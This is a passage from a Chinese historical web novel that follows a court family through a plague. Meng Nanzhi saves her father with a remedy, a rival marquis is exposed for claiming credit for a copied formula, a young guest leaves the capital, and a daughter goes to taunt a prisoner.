孟南枝急着让胡姨娘把洪太医叫过来,是因为她突然想起来她曾巨幕中看到的,一闪而过的画面。
与林婉柔一同守在城外的陆筝筝,在亲自煎药喂给得了疫病的流民后。
那些流民也是突然病情加重,咳得更加厉害。
陆筝筝因此遭人非议,被当时负责城外流民的京官,以延误病情之由,狠狠批了顿,并责其回府,不得再参与施粥及抗疫之事。
却不想一天后,那些喝过她药的流民,病症突然减轻,有好转之势。
奕王萧临渊派人查实后,确认是陆筝筝煎的那味药起了作用。
他将陆筝筝带到太医院,和院首一起回顾她当时所煎汤药用的药引。
经太医院众太医研制改良后,流民疫病得以根治。
陆筝筝也因此名声大噪,连院首都起了爱才之心,认为其有医学天分,想收其为徒。
孟南枝觉得,洪太医根据那些药引,研制出的那味流民食用后病情严重的新药,亦可能真的能治疫病。
她当时只注意到了那几味药引,倒是忽略了过程。
“下官这就将药方写来。”
洪太医虽不解其意,却非常痛快地将药方写了下来。
孟南枝接过药方,确定上面所写和记忆里巨幕中出现的那几味药引一致后。
她手指轻扣桌案,紧接着又握起拳头,神色郑重地看向洪太医。
“洪太医,还要劳烦你就按照这个药方,适当调整后为我父亲诊治。”
洪太医闻言瞳孔放大,默了两息后,连忙单膝跪地,语气不敢有一丝怠慢。
“是,下官定会竭尽全力。”
孟南枝这是彻底把他绑到了孟府。
连孟相的命,都押注在他身上了。
成了,是他的功。
败了,他的命,只怕也跟着没了。
第186章 疫病解,沈卿知打脸
孟正德全身酸痛,咽喉更是火辣辣地疼。
胸腔总感觉被什么压着似的喘不过气。
他在太医施针后,勉强入眠小歇了一会儿。
再醒来时,感觉身上酸痛减轻了许多,额头也凉丝丝的,鼻息间也都是好闻的清香。
睁开眼看到身边坐着的人影时,孟正德不由地怔了怔,“玉柠?”
胡姨娘泛红的眼尾带着丝惊喜,“老爷您醒了?有没有好一点?”
说话间,胡姨娘将他额上的巾帕去掉,又重新换了副新的。
“你怎么进来了?你快出去。”
孟正德双手撑着床沿试图坐起来,却发现全身依旧没有一点力气。
稍一用力,就又开始咳喘。
胡姨娘压下喉间的酸涩,扶着他起身,并为他轻拍后背。
“老爷,您身子不适,就少说些话。”
说的都是她不爱听的。
直到孟正德停下咳喘,胡姨娘在他身后垫了块软枕,让他能舒服地靠上去。
又取来桌案上的青瓷碗,拿起汤勺喂到他嘴边,“老爷,喝点水,润润喉咙。”
温水入喉,清甜湿润。
并非糖水,他有消渴症,胡氏对此非常注重,是不会让他沾上一口的。
而是他以往不知不觉中喝惯了的甘草水。
身边这位跟了他二十多年的妇人,虽然在极力掩饰,孟正德却一眼就看出她眉眼中的担忧,还有她控制不住微颤的双手。
孟正德暗叹一声,没再提让她走的话。
只怪自己病得不是时候。
为什么不再等等。
等他忙完。
等他身子好起来。
说不定会熬不住,主动寻她。
而不是让她好不容易鼓起离开的勇气,再次因他而坠入尘埃里。
“姨娘,父亲醒了吗?”
在外正与太医探讨父亲病症的孟南枝,听到动静走进来。
“是,老爷醒了。”
胡姨娘收起碗勺,站起身。
孟南枝见状忙不迭走到床前,去摸父亲的额头。
当发觉没有之前那么烫时,沉寂了几天的眸子里蹦出亮光。
“爹,你感觉怎么样?有没有好一点?”
孟正德点头,声音还着带嘶哑,“好些了。”
“洪太医,洪太医。”
孟南枝闻言连忙对着门外扬声喊道。
“来了,夫人,孟相可是又严重了?”
洪太医慌忙跑进来,脚跘到门槛,差点翻了个跟头。
自从他昨日听孟南枝的,将那药方根据孟相的病情重新调整,熬煎喂给孟相后,他便坐立难安,别说吃饭,他连口都喝不下去了。
生怕孟相食用后,病情更加严重。
孟南枝上前扶住他,“我父亲醒了,热退了。”
“真的?”
洪太医双目睁大,待看到坐立的孟正德,疾步走上前,二话不说开始为他诊脉。
在又翻看眼皮,听其肺部声音后,洪太医紧绷了整整两日的神经终于松懈下来。
“孟相病症减轻了。”
说着,他眼角开始涌出泪花,看着孟南枝又说了一次,“孟相,他症症减轻了。”
孟南枝重重地点头,眼角同样泛出泪花。
门外的太医闻言纷纷涌进来,开始一一为孟正德诊脉。
得到的结果均是,他的病症确实是减轻了。
其中一名太医小声嘀咕,“看来孟相所得并非疫病,而真是风寒啊。”
若是疫病,怎么会好这么快?
而且也一直未曾出现疫病特有的红疹。
其他几名太医暗自瞪了他一眼。
他们能不知道?
但依照当时的情形,谁敢百分百说是风寒。
孟南枝与洪太医互视一眼,均未作声。
洪太医一直坚称是风寒,而他昨日熬煎的药,其他几名太医并不知道具体药方。
又过了几个时辰,确认孟相真的是在好转后。
为首太医,将病情文书报于太医院。
……
沈卿知这两日很忙。
忙到已经忘了陆筝筝还在牢狱之中。
他除了入朝,忙公务。
回到府后,便是待在后院看那名郎中研制草药。
为了不让郎中制药有所偏差,他还特地去了两趟城门外,远远地观看了得疫病流民的症状。
所幸今日郎中,总算给了他一个好结果。
“侯爷,草民一共研制了两味药方,以草民多年的看诊经验,这其中必然会有一种有所成效。”
身材瘦弱的郎中,双目中带着精明,“只是这药方虽已初成,却还需寻些患了疫病的流民来试药,方能确定其确切疗效与有无副作用。”
沈卿知微微颔首,目光深邃,“此事我来安排,你只管将后续事宜做好便是。若这两味药方真能治愈疫病,你便是大功一件。”
郎中连忙拱手道:“侯爷,草民不敢居功,一切皆因侯爷的大力支持,草民才能得以安心研制药方。要说功,也是侯爷的功。”
沈卿知面上露出
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喜意。
果真如他猜想,这名郎中并不在意名声。
若这药真能医治疫病,他的国公之位,触手可及。
闻讯而来的林婉柔,面上同样带着笑意:“侯爷,这医治疫病的药,当真是研制出来了?”
郎中悄悄地看了林婉柔一眼,垂下眸子。
沈卿知未曾察觉地点头,“只差试药了。”
林婉柔非常适时地开口道:“那正巧,妾身听府上的下人说,咱沈府田庄的一位农户感染上了疫病,正愁要不要报备到应天府呢。”
沈卿知闻言激动道:“快,请他到府上。不,郎中,你随本侯一起田庄去为他诊治。”
朗中俯身应是。
两人乘坐马车,一路沿着小道去了沈府田庄。
果见一位农户得了疫病,症状和城外流民一模一样。
沈卿知在田庄待了整整半日一夜,直到亲眼看到那名有气无力的农户,在喝完朗中研制的药后,症状明显减轻后。
他才揣着药方,载着那名农户。
满怀激动之心,走向了太医院。
太医院内并没有多少人,值守的小太医同他见了礼,“侯爷。”
沈卿知压抑几乎在喜形于色的脸色,尽量神情肃穆道:“院首可在?本侯有重要情况同他禀报。”
小太医连忙躬身答道:“回侯爷,现在整个太医院只有我在值守望,院首大人昨日便带着所有太医去了城外。”
沈卿知只当城外疫病更加严重,目光在太医院内扫视一圈,确认无其他人后,又连忙载着农户赶往城门口。
他要以最快的时间,将医治疫病之法宣告院首,名振朝堂。
届时,连得了疫病的孟正德,也不得不承他的情。
等沈卿知赶到城门口时,恰好碰到刚从城外进入城门的奕王萧临渊,礼部侍郎曹景行,和以院首为主的几名随行太医。
他疾步过去,神情肃穆道:“禀奕王殿下,臣发现了医治疫病之法。”
萧临渊转动了两下板指。
院首垂下眉来。
几名太医互视一眼,面面相觑。
曹景行嘴角微勾,嘲讽道:“本官怎么说从昨日起就寻不到沈兄,原来沈兄一直未曾睡醒呢。”
沈卿知以为曹景行不信,再次重审道:“曹侍郎,下官真的发现了医治疫病之治,下官车内的那么农户,便是得了医病被医好的。”
曹景行冷哼。
院首大人皱眉道:“镇北侯难道不知疫病已经解了?”
第187章 沈兄当真是好运气
“这不可能!”
沈卿知脱口而出。
陆筝筝还在牢狱,郎中刚研制出疾病之药。
疫病怎么可能会解。
院首闻言不满,“什么不可能?镇北侯是在质疑我们太医院的能力?”
太医院独立于六部之外,由圣上直接领导。
院首身居正五品,比沈卿知官职要高一级。
再加上他本也是世家出身,所以与沈卿知说话并不客气。
“下官并无此意。”沈卿知苍白地解释,“下官只是没想到疫病这么快能解。”
曹景行挑眉补刀,“听沈兄的意思,是不想这么快解除疫病?”
沈卿知脸色微变,“曹侍郎此言差矣,疫病能这么快解除乃是天下之幸,百姓之福,下官高兴还来不及,又怎会有此等想法。”
曹景行嘴角依旧带着冷嘲,却未再言语。
院首却是看向沈卿知的目光中,带了几分审视。
前后言辞不一,明显有问题。
未曾开口的萧临渊,将目光落在沈卿知身后马车旁边一直弯着腰的郎中身上,语气淡漠。
“镇北侯刚是说‘你’发现了医治疫病之法?”
这个“你”明显有提醒之意。
沈卿知心中一惊,同萧临渊拱了拱手,诉说功劳。
“回奕王殿下,臣在疫病发生之后,一直思忧过虑,总想为受苦的百姓做些什么,便多方寻能解疑难杂症的郎中,研制医治疫病之法。”
“所幸不负众望,直到昨日,郎中总算研制出可解疫病之药。”
说到此处,他又同曹景行微微拱手,“曹侍郎,下官昨日下朝后未去官署,便是去和郎中一同试了这药。”
“下官亲眼看着得了疫病的农户,经郎中诊治服药后病症减轻,这才马不停蹄地赶来,就是想让百姓少受疫病之苦。”
院首闻言上前两步,走到马车前揿开车帘看了眼里面虚弱的农户,抬手为其看诊。
片刻后,他微微颔首道:“倒也确实是疫症之症。”
随后,他又看向旁侧的郎中,“是你医治了他?还研制出可解疫病之药?”
郎中头也不抬地回道:“是,大人。”
院首道:“将你所用药方说来。”
郎中道:“黄芩二钱、葛线三钱、藿香二钱,佩兰一钱……”
随着他说出的药引越来越多,院首眸色逐渐凝重。
随行的几名太医面色亦然沉重,开始低语。
“这药方竟然与洪太医提出来的药方一模一样。”
“即便是同一名师傅带出来的医师,在看不同的病症时,也不可能提到一模一样的药方。”
“更何况这可是整个太医院都束手无措的疫病。”
“洪太医可有流落在外的师兄弟?”
“洪太医出身医学世家,已经是他们洪家最出色的医师了,哪里还有师兄弟。”
“这倒是奇怪了,难不成他是抄用了洪太医的药方,故意邀功?”
直到郎中说完所有药引,确定真和洪太医所用药方一模一样,没有一点异处后,院首冷声问道:“这药方是你亲自研制的?”
郎中俯身道:“是。”
院首对萧临渊拱手道:“奕王殿下,此人药方与洪太医所提一致,其中疑点颇多,恐有抄袭邀功之嫌,还请对此人来处严加核查。”
萧临渊神色微动,目光在郎中身上停留片刻,又转向沈卿知,“镇北侯,此事你如何解释?”
沈卿知拱手道:“奕王殿下,下官也不知他这药方怎会与洪太医一般,但臣却曾亲眼所见郎中研制药方,这许是……许是巧合罢了。”
他不理解院首反应为何那么大。
都是解救疫病的药方,一样难道不是正常的?
不一样不就解不了疫病了么。
院首看着他这么模样,却是摇了摇头,“镇北侯,他研制这药的过程后,一共医治了几人?”
沈卿知闻言,立刻察觉出不对。
但箭在弦上,他不得不点头道:“一人。”
院首鼻子重哼,“仅医一人,便研制出整个太医院几十人都研究不出来的药方,你寻的这位郎中当真是医学天才。”
“这,院首大人……”
沈卿知额间渗出冷汗,不知该如何解释。
他一心想要求功。
当真忽略了这一步。
曹景行见状再次适时补刀,“沈兄该不会说你是被他所骗,什么也不知道吧?”
不待沈卿知回答,曹景行又接着道:“说起来在疫病刚发那日,尚书便在官署要求每天报备府中疫病情况,本官并不记沈兄又汇报府上有农户中疫
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病,难道沈兄是在故意瞒着?”
沈卿知脸色一阵青一阵白,“下官不敢隐瞒,下官也是昨日才知道这农户得了疫病。”
“刚得疫病,就恰好碰到府上郎中研制出医治疫病从法,连试药都未试,一次便成功,偏偏药方还和洪太医提出的一模一样,沈兄当真是好运气。”
曹景行摇头,表示自愧不如。
沈卿知被他这话堵得胸口如塞了一团棉花,差点喘不过气。
萧临渊眸色深沉地扫过沈卿知与那郎中,“镇北侯,若你所言属实,那这郎中仅凭医治一人便得出此等药方,实在令人难以信服。”
“且这药方与洪太医所提一致,其中蹊跷,你当真一无所知?”
沈卿知此刻整个身子都已经被冷汗浸湿,强撑着拱手道:“奕王殿下,臣确实不知这其中缘由,但臣绝无半点欺瞒之心。”
院首看了眼自始至终不曾出声反驳的郎中,皱眉道:“奕王殿下,此事非同小可。依老臣看,还是先将这郎中暂时扣下,严加审问,同时派人去查这郎中的底细,看看他究竟是何来路为好。”
萧临渊转板指,微微颔首:“就依院首所言。”
说罢,他一挥手,身后两名侍卫便将那郎中拖着离开。
沈卿知面色惨白如纸,连忙撇清责任,“奕王殿下,臣并不知这郎中研制出的药方竟与洪太医一致。”
“臣所做一切,只是为了尽快解除疫病,拯救百姓于水火之中啊。”
萧临渊神色冷淡,表情没有丝毫动容。
“此事本王自会彻查清楚,若真如你所言,一切皆为巧合,那自是最好。可若其中真有隐情,本王也绝不会姑息。”
沈卿知闻言,心中一紧,却也只能硬着头皮应道:“是,奕王殿下英明,臣定当全力配合彻查。”
曹景行也开口道:“既然沈兄需要配合奕王殿下,那这几日就暂时把手头上的工作放一放吧。”
这是想要停他的职?
沈卿知欲张开口辩解,曹景行又轻笑着说道:“同时,沈兄也要好好想一想,该怎么和尚书大人解释,府上有疫病之人,却未上报一事。”
沈卿知喉间如被硬物哽住,半晌才从牙缝里挤出声音。
“下官……下官自会向尚书大人请罪。”
第188章 枝枝别气了
日上三竿。
孟南枝才从睡梦上醒来。
自父亲病症减轻后,她心中松懈,难得睡上一次懒觉。
洗漱过后,孟南枝换上一套素雅利索的衣衫下了楼。
“父亲怎么样了?”
孟南枝询问月芹。
月芹回道:“老爷他已经好多了,我听月满说,他今早起来多用了半碗饭呢。”
孟南枝闻言轻笑,“我去看看。”
“老爷这会儿正在厅堂接待客人呢。”
月芹小跑两步,夫人步伐比较快,她都有点跟不上了。
“谁?”孟南枝顿下来。
“是之前给老爷诊断为疫病的那两名太医。”
差点跑过的月芹赶紧停下来。
是他们?
孟南枝眉峰微蹙,脚下又疾步走起来,赶往厅堂。
等她赶到厅堂的时候,正好看到那一年长一年轻的两名太医对着父亲跪下来。
年长黄太医声音里满是自责,“孟相,此前是我等医学不精,这才将您的风寒之病误诊为疫病,让您因此受惊,实在是我等之过。”
孟南枝闻言快步走进厅堂,目光在父亲和两位太医身上流转。
孟正德见女儿到来,微微颔首,示意她在自己身侧坐下。
孟南枝坐下后,看着地上的才不过两日面色便蜡黄的黄太医,目光如刀,“只是一句医学不精便能将这误诊之事轻轻揭过?”
“黄太医,你这话说得倒是轻巧,你们可曾想过我父亲这两日因这误诊受了多少惊吓,我们孟家上下又为此担了多少忧?”
黄太医身子一颤,头埋得更低,“夫人所言极是,我等确实罪该万死,还望夫人与孟相能够原谅我等这一次的失误。”
太医院在收到那几名太医的病情文书后,上报圣上。
圣上对孟相病情好转大喜,对他们的误诊却是大怒。
直接革了他们两个的职,让他们滚出太医院。
他们求到了院首面前都没用。
院首隐晦地告诉他们,解铃还需系铃人,让他们也求得孟相的谅解。
他们现在不求官复原职,但求孟相原谅后,能不影响自己的后代。
他们如今才发现,圣上对孟相的宠爱简直无人能比。
连两朝元老,圣上一向对此比较隐忍的左相,都因此挨了训斥。
孟南枝不置可否,“恕我不能原谅,你们一句失误,就想将此事抹去,哪有这般容易。我父亲虽已好转,可这两日所受的惊吓与痛苦,又岂是你们一句道歉就能弥补的。”
黄太医俯身,额头几乎贴在地面上。
“夫人息怒,让孟相受到惊吓确实是我等之过,我等诊断病情后,也是内心难安,一直在研制医治之法,得知孟相是误诊,我等比谁都高兴。”
“即使夫人和孟相不原谅我等,我等如今能看到孟相康健的痊愈,心里也是激动的。”
说到此处,他从随身带着的包裹里掏出一个匣子,递上来,“孟相,我等知道您身子还未完全康复,特地寻了这颗百年老参为您补补身子。”
为了买到这颗百年老参,他几乎花光了家当。
孟正德并未让人去接那老参。
他端起茶盏,轻抿了一口,“你们回吧。”
别说女儿不原谅,他也不会原谅。
他确实为此受了惊。
女儿也因此提心吊胆的几夜未眠。
就连胡氏,也因担忧他的病情,再次弯下了好不容易硬起来的骨气。
他孟正德在朝堂上摸爬滚打多年,从不怕得罪小人。
年轻张太医闻言,瞬间跪爬上前,声音带着几分颤抖。
“孟相,我错了,我是真的知道错了,还望孟相能够原谅我,同圣上求情让我能够官复原职。”
他年纪尚轻,此次被革职,对他的打击实在太大,不仅前途尽毁,还可能连累家族。
父亲指责他,骂他是个孽障,歪了心,连孟相都敢得罪。
他承认自己是有私心,但他对自己的医术同样有信心。
孟相当时的症状明明就是疫病。
可谁知竟然那么快就好了?
根本就未曾出现最后一步该出现的红疹。
“求情?”
孟南枝冷冷地看着他们,压了几日的怒火再次爆发。
“在你们为我父亲看诊时,我便与你们说过,我父亲所得乃是风寒,可你们偏把我父亲
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诊为疫病,害我父亲被隔离软禁。怎么轮到你们被革职,倒是想起求情来了。”
“我孟南枝今日便明明白白地告诉你们,我孟家不可能原谅你等,更不会为你们的遭遇求一句情。”
黄太医和张太医听着孟南枝的指责,额头紧紧贴着地面,却是不敢再多说一句。
他们早听说过这孟家女郎记仇得很。
却不想竟然这般决绝,半分情面也不给留。
黄太医心中暗叹,知道求情无望,只得再次告罪后,将那百年老参默默地放在地上,拉着张太医退下。
见女儿气得眉梢发红,孟正德唇角弯了弯,为她沏了茶。
“枝枝别气了,喝口茶。”
孟南枝看父亲竟然还有心思哄她,心情稍松,温声道:“父亲,您感觉怎么样?还难受吗?”
孟正德轻咳一声,“放心,为父好多了。”
他虽未完全康复,但确实是好了许多,只是还有些轻咳罢了。
孟南枝点头,“姨娘呢?在你屋里吗?”
孟正德手指顿了一下,“她走了。”
“走了?”孟南枝站起来。
明明她睡觉之前,胡姨娘还在不眠不休地照顾父亲。
她好声劝慰,胡姨娘才答应她,等她歇下后,一定会好好休息。
怎么她一觉醒来,她就走了呢。
孟南枝盯着父亲的脸,有些不满,“你没留她?”
“嗯。”
孟正德轻阖眼帘,指腹轻转茶盏。
“爹!”
孟南枝语气中带着几分焦急与气恼,“她都回来了,还如此不眠不休地照顾您,您怎么就不能给个台阶,让她就这样走了呢?”
孟正德压下眸中复杂的情绪,轻抬眼皮,看了眼她身上轻简的装扮,转移话题道:“你这是准备出去?”
“我哪都不去。”
孟南枝气得又坐下来。
孟正德失笑,抿了口茶,正色道:“你睡着的时候,景行派人送来消息。沈卿知府上郎中研制的药方,同洪太医提出的一模一样。”
“奕王会对洪太医、沈卿知,还有那名郎中,同时审查。”
“他让我提醒你,做好防备。”
第189章 江鱼离京
孟南枝颔首,“女儿晓得了。”
洪太医此次得了功,不会愚蠢到将她供出。
而且经他手所研制的疫病药方,历经太子府众人作证,城外流民试药。
期间还因致使流民病情严重被院首责斥,一切都有迹可询。
萧临渊再查,也查不出什么来。
有问题的只会是那名郎中。
只是孟南枝奇怪的是,为什么会是沈卿知带着郎中提出解疫之法。
哪怕陆筝筝被关押,提出的不也应该是林婉柔吗?
百思不得其解,孟南枝便先将此放下,转而问道:“爹,山城那边情况如何了?”
因父亲这几日生病,她都没时间去询问长子情况。
那边的疫病是否严重?
长子会不会被感染?
孟正德眸色沉重,“山城那边疫病比京都要早几日发生,好在太子殿下和屠戎将军提前做好防范,疫疫扩散还算可控。”
“洪太医提出的药方可行后,已经专门安排精卫护送太医赶往山城,想来不日那边疫病也能得到妥善解决。”
说到此处,孟正德看了眼女儿。
到底还是开不了口,提及长外孙沈砚修被人追杀坠崖一事。
所幸沈砚修并无大碍,谢归舟寄回的信中也一直在自责告罪。
他干脆睁只眼闭只眼当作不知道的了。
免得女儿知道了跟着提心吊胆。
孟南枝不知父亲心中所想,闻言轻轻点头。
山城疫病得到解除后,仅剩下百姓的安置和家园重建工作,赈灾之行便到了尾声。
如此,长子和太子他们过不了多久便会回来。
孟南枝正想着,余光中却瞥见福伯拎着书箱在门口探了一眼,又悄悄退了回去。
正准备开口询问,却见父亲已经起了身。
孟正德活动了两下肩膀,“为父这几日在府里闷得难受,出去走动走动。”
“父亲,我陪您。”孟南枝跟着站起身。
孟正德拒绝,“不用,你这几日也受累了,好生歇着吧。”
“我不累,正好睡了一夜,跟您一起活动活动。”
福伯刚才的动作明显有猫腻,孟南枝不放心父亲此时出去。
孟正德坐下来,“那你让月芹陪你去吧,为父在家歇着。”
孟南枝看着父亲孩子气的动作,不禁好笑道:“父亲是准备趁我不在,偷偷去官署?”
他这身子并未完全康复,昨日还答应了她,会在府中好生休养。
想法被揭穿,孟正德也不再隐瞒,站起身道:“为父知道你想让我在家多养两日,可太子他们一日不归,这山城百姓的安危便一日不能真正放下。”
“官署里还有诸多事务等着为父处理,为父怎能安心在家中闲坐?你且放心,为父会注意身子,处理完公务,晚宴前便会回来。”
更主要的原因是谢归舟送来的密报中,九曲河决堤一事涉及朝中要臣。
孟正德担心晚一日核查,就给了对方多一日的逃罪机会。
对方敢下重手明杀他的长外孙,这口气他咽不下去。
趁女儿知道前,他要在京都配合谢归舟将此人给揪出来。
孟南枝知道父亲一心为民,既然开口,便不会受人劝阻,只得无奈点头。
“那父亲记得莫要太过操劳,若有不适,定要第一时间寻太医。”
想了想,孟南枝还是觉得不放心,又叫来观棋,让他一同跟着父亲。
“放心吧,为父知道该怎么照顾自己。”
孟正德笑着应下,带着福伯和观棋匆匆离去。
父亲刚离开没多久,沈砚珩也带着江鱼寻了过来。
江鱼乌发用玉带缠起,身着墨蓝劲装,背着一个包裹,同她见了礼。
“夫人,我准备离京了。”
“这么快?不再多待两日吗?”孟南枝起身,同他走近了些。
城外疫病虽解,但流民还并未完全散去。
而且此时出京,一路上龙蛇混杂的,很容易出事。
江鱼微微摇头,神色从容,“不待了,我出来的时间太久,家人肯定都想我了。”
他本来想前两日就走的,没想到孟相会突然生病,还被太医诊断为疫病。
沈砚珩虽被关在院子里,却一直不放心母亲和外祖父。
他便在
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夜半府上奴仆轮值守夜时,和沈砚珩一同溜到孟相院子里,悄悄探望他们。
直到孟相身子好转,孟南枝也一直未曾有事。
他才彻底放心,决定不再久留,即刻回家。
孟南枝轻轻皱眉,“可如今这局势,你孤身一人出京,实在让人担忧。这样,我派些两个护卫与你同行。”
江鱼连忙摇头婉拒,“夫人好意,我心领了。我自幼行走江湖,见过不少风浪,保护自己不成问题。”
他本就是想趁乱出京回家的。
若让人跟着,才会出乱子。
孟南枝见他态度坚决,也不再强求,叫月芹把自己此前让她准备好的东西拿过来。
自上次听江鱼说要回家后,孟南枝便让月芹为他准备了几件衣物,还有自保的短刀,日常伤药等。
江鱼接过包裹,抚摸那两套按照他尺寸特别定做的衣服,鼻尖有些发酸。
他深深地躬下身子,喉间带了一丝哽咽,“江鱼多谢夫人。”
孟南枝扶他起来,“别客气,你这些时日一直保护珩儿,还为昭儿赢了鞭法,是我该谢谢你才对。”
是她一开始对他存了偏见,觉得他别有目的。
想到此处,孟南枝语气中又带了几分歉意,“珩儿一直把你当朋友,若不介意,此后你便唤我一声南姨吧。”
江鱼抬头看着她温和慈爱的面容,喉间滚了几滚,才发出声音,“南姨。”
“好孩子。”
孟南枝满意地点头,又取了几张银票放进包裹里,“这些你路上用,到了家,记得给我们写封信。”
“嗯。”
江鱼眨了眨眼,用力地点头。
本就情绪不高的沈砚珩,见状心情更加低落,他上前拉了下孟南枝的衣角,“母亲,我想和江鱼一起去他家。”
孟南枝:“不行。”
江鱼:“不行。”
两人同时出声拒绝。
江鱼不解地看向江鱼。
母亲说不行,他能理解。
江鱼说不行是为什么?
他都来自己家了,自己跟着去他家怎么了?
好朋友不就应该有来有往吗?
第190章 她去找陆筝筝了?
江鱼看了眼孟南枝,同沈砚珩解释。
“你不是说你母亲好不容易才回来,你要好好的陪你母亲吗?你还答应了你哥,要照顾好你母亲的。”
“砚珩,你放心,用不了多久,我还会回来的。”
孟南枝见他说得在理,也跟着劝慰。
“珩儿,让江鱼给你留个地址,等山城的事情彻底解决,你哥也平安归来后,母亲便准你离京去找他玩几日,如何?”
沈砚珩心知母亲和江鱼说得在理,只好不情不愿地点了点头。
“那好吧,江鱼,你说过会回来的。我若收不到你的来信,等不到你回来看我,保准就去找你。”
江鱼笑着点头,“放心,我一定还会回来找你的。”
只是到那时候,可能就不只是他一个人来了。
沈砚珩这才露出笑脸,“那走吧,我送你出城。”
孟南枝笑道:“我同你们一起。”
她本来就是计划出城门看看的,因为父亲未留胡姨娘,一时生了气,这才未能出去。
只是临出门时,她突然觉得好似少了什么。
“珩儿,你妹妹呢?”
依照她这段时间对女儿的了解,沈朝昭若知道江鱼要出城,早该跑过来凑热闹了。
江鱼摇头,“我不知道啊,我起来的时候就没见她。”
昭妹打小就没睡过懒觉,每天精气神旺盛,起得比鸡都早。
他早就习惯了早上醒来看不到她的影子。
为不让母亲担心,江鱼想了想说道:“母亲,我去送江鱼,您在家等会儿吧,说不定昭妹等一会儿就回来了,她要是回来看到我们都不在,肯定又会跑出去乱找。”
孟南枝点头,“那你们路上小心点。”
她有点担心沈朝昭又偷偷去见萧临渊了。
自古以来,女子陷入感情后,就比男子难断。
长子沈砚修对陆筝筝感情比较朦胧,她切得还算及时。
而女儿沈朝昭对萧临渊,孟南枝有点摸不清楚她如今是个什么心态。
沈砚珩同江鱼一起离开后,孟南枝让月芹把刘嬷嬷唤来。
刘嬷嬷这段时间休养得极好,面色红润,连白发都比之前少了许多。
她一进来,便同孟南枝汇报,“夫人,您让老奴派人盯着的那个小子,他确实是赵佩兰的孩子。”
“同他一起的那个彪汉,是胡姨娘的侄亲,他们来京就是为了寻胡姨娘和赵佩兰。”
孟南枝微微颔首,“他们现在还在‘三月客栈’?”
刘嬷嬷回道:“在,因为疫病,京都所有的客栈、酒馆都暂时封闭,所以他们两个这些时日一直被关在客栈里。”
“让人继续盯着吧。”孟南枝交代完,静默了几息,才开口问道:“嬷嬷,朝昭,她与奕王萧临渊相熟吗?”
刘嬷嬷闻言下意识地看了眼四周,确认只有月芹,没有外人后,压低了声音道:“夫人,小姐她与奕王相熟。”
“具体说说。”
孟南枝眉头沉下来,她还记得女儿上次说不熟。
刘嬷嬷道:“小姐性格直爽,与世家姑娘不同,她不喜欢那些弯弯绕绕的规矩和礼数,平日里参加什么宴会,都喜欢一个人独处。”
孟南枝蹙眉,女儿哪里是不喜欢规矩和礼数。
她那是没人教,没人带。
京都哪位世家的姑娘刚开始出府时,不都是由主母带着。
见得多了,听得多了,规矩和礼数自然而然就懂了。
而且在她眼里,女儿明明就是个小太阳,喜欢被人哄着,怎么可能喜欢独处。
那明明是没交到知心的朋友。
但她却并未阻止刘嬷嬷,继续听她说。
“有一次小姐参宴,与人起了争执,是奕王帮她解了围。宴会结束后,奕王还亲自送小姐回了府。”
“后来,我听知夏说,小姐还与奕王一同去过城外的猎场打过猎。”
孟南枝听着,眉头越皱越紧,“这些事,镇北侯知道吗?”
刘嬷嬷低垂的眼帘中闪过不满,摇头道:“侯爷那个时候心思全在林婉柔身上,每天早出晚归,并不关注小姐的情况。”
不关注。
呵!
孟南枝冷笑一声,她真是庆幸沈卿知他不关注。
若
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关注,只怕早把赌注压到了自己亲生女儿身上。
女儿此前年幼,孟南枝相信那时的奕王萧临渊,应该是真心想帮女儿。
但她深知女儿性格单纯,对感情之事懵懂无知。
或许正因如此,在陆筝筝随着林婉柔入住侯府后,一点点蚕食女儿此前拥有的东西。
才导致在女儿得知奕王萧临渊竟然对陆筝筝是真爱后,心理扭曲,开始与陆筝筝争抢一切吧。
刘嬷嬷看了眼孟南枝,低声替沈朝昭解释,“夫人,小姐她对奕王应是感激之情。”
有时候感激很容易转换成其他情感。
尤其是萧临渊惯会伪装,看起来待谁都很随和,总是笑眯眯的模样。
实际上这种人对利益最为看重。
没有利益纷争,表面是朋友。
有了利益纷争,背地里便会往你心窝上插刀子。
想起上次因为找女儿时,见到萧临渊,他同她说的那些话。
孟南枝手指轻扣桌案,沉思片刻后,再次问道:“嬷嬷,朝昭平时都喜欢去哪里?”
刘嬷嬷仔细想了想,回道:“夫人,小姐平日里除了偶尔参加些世家宴会,大多时候都喜欢去城西的马市。”
“那马市里有不少新奇的马匹和骑射玩意儿,小姐每次去都能待上好一会儿。”
疫病还未彻底解禁,这会儿的马市还封禁着。
女儿不可能去那里。
那她还能去哪儿?
孟南枝没再多想,直接问道:“嬷嬷,你早上有见到朝昭出去吗?”
刘嬷嬷摇头,“老奴并未见到小姐。”
她腿脚不便,住的偏房,与小姐的院子有些距离。
若不刻意,很难碰巧地遇上。
一直默默听着的月芹,却是面色有些焦急地开口道:“夫人,奴婢突然想起来,早上和月满交班,听她提了一嘴。”
“她说昨晚去水房打水时,碰到了知夏,知夏同她讲今天可能要去牢狱。”
“您说,小姐会不会真带着她们一起去牢狱了?”
牢狱?
孟南枝站起身。
她去找陆筝筝了?
第191章 你母亲会亲自送我出去的
沈朝昭确实是去找陆筝筝了。
只是一开始看守的那个牢役满脸正直,非说没有手谕不让她进。
她是特地瞒着母亲出来的,怎么能去找陈大人要手谕。
只怕不仅不给她,还会转眼就把她的行踪告诉母亲。
所以沈朝昭便在旁边等着,直到巳时牢役轮班。
知夏给新换的那个牢役塞了两块碎银后,沈朝昭才获得了不到半柱香的探监时间。
当听到牢役说有人来探监的时候,正蜷缩在角落思索怎么破局的陆筝筝瞬间站了起来。
她以为来看她的人,会是母亲、侯爷,或者萧临渊。
却唯独没想到竟然是沈朝昭。
陆筝筝脸上的急切转换为柔柔弱弱的不解,“朝昭,你怎么来了?”
“怎么?看到我,你很失望?”沈朝昭眉尾上扬,言辞傲慢。
若非外祖父得了疫病,母亲拘着她,五日前她便来了。
陆筝筝遮掩眼底的失望,柔弱地笑道:“怎么会?我很高兴你能来看我。”
沈朝昭打量了一下牢房里的环境,很干净,被褥也是新的。
与旁边那些犯人所住又脏又乱的牢房完全是天壤之别。
陆筝筝明显是受到了优待。
无人教导,年纪尚小的沈朝昭还不懂掩饰,眼底立即露出不满。
她将手中带来的饭匣打开,取里的饭菜递过去。
“你在这里定然是吃得不好吧?看我专门去酒楼给你点了最好的饭菜。”
陆筝筝垂眉看去,便是剩菜残羹。
不禁眸子暗了暗,面色苍白道:“朝昭,你怎么可以这个样子?”
“怎么?不喜欢?你不是最喜欢吃这些了吗?”沈朝昭眸子里全是报复似的快感。
她为什么非要瞒着母亲也来探看陆筝筝。
那是因为她就是想来看看陆筝筝不好过的样子。
